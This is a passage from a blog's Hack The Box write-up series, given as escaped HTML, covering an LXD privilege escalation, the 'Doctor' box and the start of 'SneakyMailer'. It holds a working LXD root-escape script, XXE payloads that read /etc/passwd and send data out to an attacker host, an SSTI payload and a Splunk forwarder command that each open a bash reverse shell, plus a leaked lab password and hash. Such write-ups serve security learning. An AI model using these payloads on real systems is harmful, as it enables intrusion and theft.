Machine]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Step 2: Build alpine =&amp;gt; bash build-alpine (as root user) [Attacker Machine]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Step 3: Run this script and you will get root [Victim Machine]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Step 4: Once inside the container, navigate to /mnt/root to see all resources from the host machine&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;function helpPanel(){&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo -e &amp;#34;\nUsage:&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo -e &amp;#34;\t[-f] Filename (.tar.gz alpine file)&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo -e &amp;#34;\t[-h] Show this help panel\n&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; exit 1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;function createContainer(){&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; /snap/bin/lxc image import $filename --alias alpine &amp;amp;&amp;amp; /snap/bin/lxd init --auto&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo -e &amp;#34;[*] Listing images...\n&amp;#34; &amp;amp;&amp;amp; /snap/bin/lxc image list&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; /snap/bin/lxc init alpine privesc -c security.privileged=true&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; /snap/bin/lxc config device add privesc giveMeRoot disk source=/ path=/mnt/root recursive=true&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; /snap/bin/lxc start privesc&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; /snap/bin/lxc exec privesc sh&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; cleanup&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;function cleanup(){&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo -en &amp;#34;\n[*] Removing container...&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; /snap/bin/lxc stop privesc &amp;amp;&amp;amp; /snap/bin/lxc delete privesc &amp;amp;&amp;amp; /snap/bin/lxc image delete alpine&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo &amp;#34; [√]&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;set -o nounset&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;set -o errexit&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;declare -i parameter_enable=0; while getopts &amp;#34;:f:h:&amp;#34; arg; do&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; case $arg in&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; f) filename=$OPTARG &amp;amp;&amp;amp; let parameter_enable+=1;;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; h) helpPanel;;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; esac&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;done&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if [ $parameter_enable -ne 1 ]; then&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; helpPanel&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;else&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; createContainer&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fi&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I then followed the tutorial above to generate alpine-v3.8-i686-20241027_1315.tar.gz.&lt;/p&gt;&#10;&lt;p&gt;Next I transferred both files to the target and ran:&lt;/p&gt;&#10;&lt;p&gt;./46978.sh -f ./alpine-v3.13-x86_64-20210218_0139.tar.gz&lt;/p&gt;&#10;&lt;p&gt;That successfully escalated privileges. I was stuck here for a very long time.&lt;/p&gt;&#10;&lt;p&gt;Half the problem was that generating alpine-v3.13-x86_64-20210218_0139.tar.gz kept failing.&lt;/p&gt;&#10;&lt;p&gt;The other half was that even after the privilege escalation succeeded, commands such as cat failed and the session crashed immediately. There was nothing I could do except keep resetting the machine and repeating every command to reach this point.&lt;/p&gt;&#10;&lt;p&gt;The 46978.sh file itself was easy to fix: it simply could not locate lxc and lxd, so I added their absolute paths.&lt;/p&gt;&#10;&lt;p&gt;I only later realized that my procedure was wrong. As 46978.sh explained, I only needed to enter /mnt/root to access every file.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0577.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;This still counted as conventional privilege escalation. I had not seen tomcat&amp;rsquo;s manager-host before, nor had I used lxd, but neither technique was unexpected. Usually you find an exp, understand it, and run it.&lt;/p&gt;&#10;&lt;p&gt;Using it for the first time simply wasted a great deal of time. I need to improve my search skills and read payloads more carefully.&lt;/p&gt;&#10;&lt;h2 id="26doctor"&gt;&lt;a href="#26doctor" class="header-anchor"&gt;&lt;/a&gt;26.Doctor&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0578.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0579.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The web page revealed a domain, which I added to hosts.&lt;/p&gt;&#10;&lt;p&gt;Visiting the domain again produced this page.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0580.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Registering an account gave me direct access.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0581.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0582.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Both the source and the directory brute-forcing tool pointed to /archive.&lt;/p&gt;&#10;&lt;p&gt;At first, however, it was empty.&lt;/p&gt;&#10;&lt;p&gt;Interestingly, new message could be used to create a blog post.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0583.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://doctors.htb/post/1" target="_blank" rel="noopener"&#10; &gt;http://doctors.htb/post/1&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This showed what the 1 represented. The endpoint did not have sql injection or anything similar.&lt;/p&gt;&#10;&lt;p&gt;After I created a new message,&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://doctors.htb/archive" target="_blank" rel="noopener"&#10; &gt;http://doctors.htb/archive&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;showed the item I had created. I made a major mistake here: I assumed it was XXE and spent a long time testing it. There was no response content. The following methods consistently failed, although the server did make the requests.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;/title&amp;gt;&amp;lt;/item&amp;gt;&amp;lt;!--?xml version=&amp;#34;1.0&amp;#34; ?--&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ENTITY example SYSTEM &amp;#34;/etc/passwd&amp;#34;&amp;gt; ]&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;data&amp;gt;&amp;amp;example;&amp;lt;/data&amp;gt;&amp;lt;item&amp;gt;&amp;lt;title&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;/title&amp;gt;&amp;lt;/item&amp;gt;&amp;lt;!--?xml version=&amp;#34;1.0&amp;#34; ?--&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;!ENTITY % file SYSTEM &amp;#34;file:///etc/hostname&amp;#34;&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;!ENTITY % eval &amp;#34;&amp;lt;!ENTITY &amp;amp;#x25; exfiltrate SYSTEM &amp;#39;http://10.10.16.19:5000/evil.dtd?x=%file;&amp;#39;&amp;gt;&amp;#34;&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;%eval;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;%exfiltrate;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;item&amp;gt;&amp;lt;title&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;It simply seemed unable to read files.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0584.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But it could make requests.&lt;/p&gt;&#10;&lt;p&gt;This was a wrong turn. I tried a great many payloads without success. After a lot of searching, I noticed that nearly every result covered XXE in php or java, with nothing about exploiting this issue in python.&lt;/p&gt;&#10;&lt;p&gt;I had actually run whatweb when I first encountered the site.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0585.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It did not seem to reveal anything.&lt;/p&gt;&#10;&lt;p&gt;Later searches showed that when python is used as the backend with flask, it may be vulnerable to ssti template injection. It suddenly clicked that a python backend could indeed have this vulnerability.&lt;/p&gt;&#10;&lt;p&gt;I first tested whether it was present.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0586.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After creating the item, I visited:&lt;/p&gt;&#10;&lt;p&gt;view-source:&lt;a class="link" href="http://doctors.htb/archive" target="_blank" rel="noopener"&#10; &gt;http://doctors.htb/archive&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0587.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It worked, so I prepared an exp.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://payatu.com/blog/server-side-template-injectionssti/" target="_blank" rel="noopener"&#10; &gt;https://payatu.com/blog/server-side-template-injectionssti/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;The exp in this post worked. I only needed to construct the payload and submit it.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{{request.application.__globals__.__builtins__.__import__(&amp;#39;os&amp;#39;).popen(&amp;#34;bash -c &amp;#39;exec bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.16.19/6666 &amp;lt;&amp;amp;1&amp;#39;&amp;#34;).read()}}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0588.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I obtained a shell.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0589.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I started privilege escalation.&lt;/p&gt;&#10;&lt;p&gt;The admin user was immediately visible.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0590.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I had not created this user. sudo -l required a password, so my current plan was to crack this and then inspect sudo -l.&lt;/p&gt;&#10;&lt;p&gt;$2b$12$Tg2b8u/elwAyfQOvqvxJgOTcsbnkFANIDdv6jVXmxiWsg4IznjI0S&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0591.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I identified the algorithm as bcrypt and could run it through john.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0592.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;In practice, finishing this run did not help. It could not crack the hash at all, and bcrypt was extremely resource-intensive and slow.&lt;/p&gt;&#10;&lt;p&gt;This route was a dead end, so I tried other escalation paths.&lt;/p&gt;&#10;&lt;p&gt;Neither suid nor sudo revealed anything. There was another user named shaun under home.&lt;/p&gt;&#10;&lt;p&gt;Then I noticed one more user whose home directory was /opt/splunkforwarder. It contained a readme and a version number.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0593.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;A google search showed that this program listens on port 8089. nmap had found that port earlier, but my testing had produced nothing, so I ignored it. Perhaps the intended hint was to escalate into splunk.&lt;/p&gt;&#10;&lt;p&gt;I found no exp for this version, but the site below said that simply logging in appeared sufficient to get a shell.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://book.hacktricks.xyz/network-services-pentesting/8089-splunkd" target="_blank" rel="noopener"&#10; &gt;https://book.hacktricks.xyz/network-services-pentesting/8089-splunkd&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I started looking for configuration files.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0594.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://community.splunk.com/t5/Security/How-to-create-a-Splunk-user-using-configuration-files/m-p/329862" target="_blank" rel="noopener"&#10; &gt;https://community.splunk.com/t5/Security/How-to-create-a-Splunk-user-using-configuration-files/m-p/329862&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0595.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I could not read it. I kept investigating this service but found no way to compromise it, and it ran as root.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0596.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I uploaded linenum for another look, but it found nothing.&lt;/p&gt;&#10;&lt;p&gt;Then I inspected my groups and discovered that I could read many logs.&lt;/p&gt;&#10;&lt;p&gt;find / -group adm 2&amp;gt;/dev/null -not -path &amp;ldquo;/proc/*&amp;rdquo; 2&amp;gt;/dev/null&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0597.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I had an idea. Someone had to log in to either the port 80 site or the port 8089 service. If I could not access the 8089 service because I lacked its path and credentials, searching all configuration files might reveal passwords for the sites on 80 and 8089 and let me proceed.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0598.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I did not find anything for 8089, but I did find a password.&lt;/p&gt;&#10;&lt;p&gt;/var/log/apache2/backup:10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] &amp;ldquo;POST /reset_password?email=Guitar123&amp;rdquo; 500 453 &amp;ldquo;&lt;a class="link" href="http://doctor.htb/reset_password%22" target="_blank" rel="noopener"&#10; &gt;http://doctor.htb/reset_password&amp;rdquo;&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I started trying Guitar123 with su.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0599.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That successfully escalated me to shaun.&lt;/p&gt;&#10;&lt;p&gt;Everything pointed to splunkd on port 8089.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0600.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;My first thought was to create a local tunnel, but I could not access it locally either.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0601.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It listened on 0.0.0.0, so this was not a local-only service. Yet I still could not access it locally.&lt;/p&gt;&#10;&lt;p&gt;Only later did I realize that I had been using http the entire time.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0602.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I accessed it successfully.&lt;/p&gt;&#10;&lt;p&gt;Only services and serviceNS were accessible, and they required a username and password. We happened to have shaun&amp;rsquo;s credentials.&lt;/p&gt;&#10;&lt;p&gt;Although we could not read this service&amp;rsquo;s passwd file or list its users, my earlier searches suggested that splunkd may use local /etc/passwd accounts to create users for login.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0603.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I got in successfully.&lt;/p&gt;&#10;&lt;p&gt;There are many tutorials on getting a shell online, and they also mention that this app often runs as root.&lt;/p&gt;&#10;&lt;p&gt;But every tutorial used a graphical interface to upload apps, then used the uploaded content to get a shell.&lt;/p&gt;&#10;&lt;p&gt;There was no graphical interface here for me to click through, so I had to find an absolute path. One post said that extracting an app locally had the same effect as uploading it through the GUI.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0604.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0605.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I did not have write permission, however. My current options were to find the app-upload endpoint or continue escalating locally into splunk.&lt;/p&gt;&#10;&lt;p&gt;Neither worked, so I started looking for a poc.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0606.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/cnotin/SplunkWhisperer2/blob/master/PySplunkWhisperer2/PySplunkWhisperer2_remote.py" target="_blank" rel="noopener"&#10; &gt;https://github.com/cnotin/SplunkWhisperer2&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Whenever I find an exp but do not know how to use it, I search for the project name to understand how it works.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0607.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://clement.notin.org/blog/2019/02/25/Splunk-Universal-Forwarder-Hijacking-2-SplunkWhisperer2/" target="_blank" rel="noopener"&#10; &gt;https://clement.notin.org/blog/2019/02/25/Splunk-Universal-Forwarder-Hijacking-2-SplunkWhisperer2/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;That explanation was not useful, so I constructed the poc from the parameters in the code.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/cnotin/SplunkWhisperer2/blob/master/PySplunkWhisperer2/PySplunkWhisperer2_local_python3.py" target="_blank" rel="noopener"&#10; &gt;https://github.com/cnotin/SplunkWhisperer2/blob/master/PySplunkWhisperer2/PySplunkWhisperer2_local_python3.py&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I used the local privilege-escalation script and tested it first.&lt;/p&gt;&#10;&lt;p&gt;python3 2.py &amp;ndash;scheme https &amp;ndash;port 8089 &amp;ndash;username shaun &amp;ndash;password Guitar123 &amp;ndash;payload &amp;lsquo;id &amp;gt; /tmp/1.txt&amp;rsquo;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0608.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It really worked: the created file genuinely belonged to root.&lt;/p&gt;&#10;&lt;p&gt;My later attempts with su and other commands had problems. Looking at the code, it appeared unable to remain running in the current context, so I tried a reverse shell.&lt;/p&gt;&#10;&lt;p&gt;python3 2.py &amp;ndash;scheme https &amp;ndash;port 8089 &amp;ndash;username shaun &amp;ndash;password Guitar123 &amp;ndash;payload &amp;ldquo;bash -c &amp;rsquo;exec bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.16.19/1234 &amp;lt;&amp;amp;1&amp;rsquo;&amp;rdquo;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0609.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done. I spent a great deal of time on this box. I took the wrong approach to the foothold and investigated XXE before finally recognizing SSTI. The web-based escalation to shaun was not difficult, but I lacked the idea at first and wasted a lot of time, including trying to crack the hash from the db. Only at the end did I inspect the adm group. I think the overall process was sound; it was simply far too slow.&lt;/p&gt;&#10;&lt;p&gt;Escalating to root was next. I studied this service and read many posts before finding the exploit. The exploitation itself was easy, but reading all that code felt time-consuming. It did work in the end, so this was still a conventional process. I was simply too slow, and perhaps I also need to improve how I search google. The takeaway from this box is that I need to practice more boxes and improve my methodology.&lt;/p&gt;&#10;&lt;h2 id="27sneakymailer"&gt;&lt;a href="#27sneakymailer" class="header-anchor"&gt;&lt;/a&gt;27.SneakyMailer&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0610.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0611.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://sneakycorp.htb/index.php" target="_blank" rel="noopener"&#10; &gt;http://sneakycorp.htb/index.php&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This site revealed one useful detail.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0612.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Someone named Bradley Greer was a tester.&lt;/p&gt;&#10;&lt;p&gt;The boss was named Cara Stevens.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0613.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It also told us that work had been assigned and that we needed to check our email, and that pip was available. One open question was our username: it only referred to us as You.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0614.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0615.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This contained every team member&amp;rsquo;s email address and role.&lt;/p&gt;&#10;&lt;p&gt;Bradley Greer&amp;rsquo;s:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0616.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The boss Cara Stevens&amp;rsquo;s:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0617.zh.webp" alt="" 